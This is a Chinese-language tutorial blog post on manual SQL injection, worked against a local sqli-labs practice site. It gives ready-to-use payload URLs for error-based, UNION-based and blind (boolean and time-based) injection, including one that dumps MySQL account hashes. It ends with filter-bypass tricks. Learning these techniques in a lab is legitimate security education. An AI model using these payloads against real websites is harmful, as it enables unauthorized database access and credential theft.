WEB安全攻防--sql手动注入

1、SQL注入原理

1.1 SQL注入介绍

SQL注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数时攻击者可控的,并且参数代入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作

SQL注入漏洞需要满足两个条件:
a、参数用户可控
b、参数带入数据库查询,传入的参数拼接到SQL语句,并且带入数据库查询

1.2 SQL注入危害

a、数据库敏感信息泄露
b、页面被篡改
c、数据库被恶意操作
d、服务器被远程控制

1.3 SQL注入分类

a、根据注入位置数据类型可将SQL注入分为两类:数字型和字符串型(字符串注入、数字注入)
b、根据返回结果可分:显错注入及盲注

1.4 SQL注入的形成原因

a、数据与代码未严格分离
b、用户提交的参数数据未做充分检查过滤及被带入到SQL命令中,改变原有SQL指令,且被目标数据库执行

1.5 SQL注入过程说明

a、客户端参数值等数据被修改
b、服务器未经检查和过滤即将被修改的数据注入到SQL命令中,SQL命令功能被修改
c、数据库引擎执行被修改后的SQL命令
d、客户端根据上一次注入获得到的敏感信息构造注入语句进行下一步注入
e、服务器将注入的结果返回给客户端

2、SQL手动注入

2.1 GET和POST请求

a、GET提交:请求的数据会添加在URL之后,以?分割URL和传输数据,多个参数用&连接
b、POST提交:把提交的数据放到HTTP包的包体中

区别:GET提交的数据会在地址栏中显示,而POST提交,地址栏不会改变

2.2 显错注入:通过符号来确认GET请求是否存在注入点

此图中地址为http://127.0.0.1/sqli/less-1/?id=1
下图地址增加 ’
故错误中显示: ‘‘1’’ LIMIT 0,1’
则可初步推断出SQL语句为: select xxx from xxxx where id=‘1’ LIMIT 0,1
且可得知id为注入点
此图中

2.3 显错注入:通过order by 来判断数据表列column

举例:URL:http://127.0.0.1/sqli/Less-1/?id=1’ order by 4 --+
说明:举例中 ‘表示打开原有sql查询,加入order by 4,从而达到变更查询,–表示注释后面原有sql语句,+表示空格

经过测试 order by 1、 order by 2、 order by 3 均运行正常,当order by 4 时 显示界面为 Unknown column ‘4’ in ‘order clause’,故可得到此地址数据表存在3列。

2.4 显错注入:通过union来查询表明、字段名、字段值

2.4.1 显示数据账号,密码,连接IP
SELECT * FROM security.`users` WHERE ID=0 UNION SELECT 1,1,GROUP_CONCAT(HOST,USER,PASSWORD) FROM mysql.`user`

sql注入方式:
http://127.0.0.1/sqli/less-1/?id=0’ UNION SELECT 1,1,GROUP_CONCAT(HOST,USER,PASSWORD) FROM mysql.user–+

2.4.2 显示当前表名称
SELECT * FROM users WHERE ID=0 UNION SELECT 1,2,DATABASE()

sql注入方式:
http://127.0.0.1/sqli/less-1/?id=0’ UNION SELECT 1,2,DATABASE() --+

2.4.3 查询mysql数据库当前库中所有表
SELECT * FROM security.`users` WHERE ID=0 UNION SELECT 1,1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()

sql注入方式:
http://127.0.0.1/sqli/less-1/?id=0’ UNION SELECT 1,1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() --+

2.4.4 查询mysql数据库当前库中指定的栏位
SELECT * FROM security.`users` WHERE ID=0 UNION SELECT 1,1,GROUP_CONCAT(column_name) FROM information_schema.`COLUMNS` WHERE table_schema=DATABASE() AND table_name='users'

sql注入方式:
http://127.0.0.1/sqli/less-1/?id=0’ UNION SELECT 1,1,GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_schema=DATABASE() AND table_name=‘users’ --+

2.5 盲注

2.5.1 盲注介绍

Blind SQL(盲注)是注入攻击的其中一种,向数据库发生true或false这样的问题,并根据应用程 序返回的信息判断结果。这种攻击的出现是因为应用程序配置为只显示常规错误,但并没有 解决SQL注入存在的代码问题

2.5.1 盲注种类

a、布尔类型
b、时间的盲注

2.5.2 GET基于时间的盲注

通过时间延迟来判断当前注入是否正确

SELECT IF(ASCII(SUBSTR(DATABASE(),1,1))=113,1,SLEEP(5))

上述SQL语句中 SUBSTR(字符串,开始,长度)表示取字段,取Databases()所得到的数据表名称的第一个字母,将此字母通过ASCII转成数字后比对。if(条件,True,False)。

SQL注入方式:
http://127.0.0.1/sqli/less-1/?id=0’ UNION IF(ASCII(SUBSTR(DATABASE(),1,1))=115,1,SLEEP(5)) --+

2.5.3 GET基于时间的布尔盲注

基于布尔的盲注,我们通常采用下面的办法猜解数据库名长度

SELECT (SELECT LENGTH(DATABASE())>5)

SQL注入方式:
http://127.0.0.1/sqli/Less-8/?id=0’ or (SELECT LENGTH(DATABASE())>5) --+

SELECT (SELECT ASCII(SUBSTR(DATABASE(),1,1)))>75

SQL注入方式:
http://127.0.0.1/sqli/Less-8/?id=0’ or (SELECT ASCII(SUBSTR(DATABASE(),1,1)))>75 --+

2.6 POST注入

注入方式与get相同,一般POST提交点于提交框中,并非是URL栏。

2.6.1 POST基于错误的注入特点

1.POST请求不能被缓存下来
2.POST请求不会保存在浏览器浏览记录中
3.以POST请求的URL无法保存为浏览器书签
4.POST请求没有长度限制

3、SQL注入绕过手段

3.1 大小写绕过

如:
-a、AnD 1=1
-b、order by 可以使用 OrdER来进行绕过

3.2 双写绕过

如:
uniunionon union替换为空,也可以结合大小写绕过

3.3 编码绕过

通过URL编码的方式

3.4 内联注释绕过

通过SQL注释
如:/!select/ * from users;

猜你喜欢

转载自blog.csdn.net/qq_37697566/article/details/104374321
今日推荐